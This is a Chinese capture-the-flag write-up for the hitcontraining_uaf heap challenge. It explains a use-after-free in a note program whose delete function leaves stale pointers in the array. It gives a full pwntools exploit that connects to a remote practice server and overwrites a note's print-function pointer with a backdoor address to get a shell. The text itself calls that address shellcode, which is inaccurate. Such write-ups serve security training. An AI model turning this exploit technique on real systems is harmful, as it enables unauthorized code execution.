题如其名——hitcontraining_uaf
堆体经典结构
创建的堆的结构
1个数组用来存放创建的堆的地址,一次创建两个堆,第一个存放函数指针和第二个堆的地址,第二个堆存放内容
删除操作发现只删除了两个堆,并没有删除数组中的地址,存在uaf漏洞
发现一个后门函数
这个打印功能使用了函数指针,所以只要控制数组中的地址修改为shell就行了
大致思路:add2个再删除,此时有4个堆,再add一个大小为8字节的堆,这样申请到了数组中的地址指向的堆,修改堆中的内容为shellcode,再调用打印功能得到shell
exp:
from pwn import *
#p=process('./hacknote')
p=remote('node3.buuoj.cn',29702)
def add(size,context):
p.sendlineafter("choice :","1")
p.sendlineafter("size :",str(size))
p.sendlineafter("Content :",str(context))
def delete(index):
p.sendlineafter("choice :","2")
p.sendlineafter("Index :",str(index))
def printf(index):
p.sendlineafter("choice :","3")
p.sendlineafter("Index :",str(index))
add(16,'aaa')
add(16,'aaa')
delete(1)
delete(0)
payload=0x08048945
add(8,p32(payload))
printf(1)
p.interactive()
得到flag
这种堆题结构大多有一个数组存放地址,而大部分功能围绕数组来,只要控制数组就行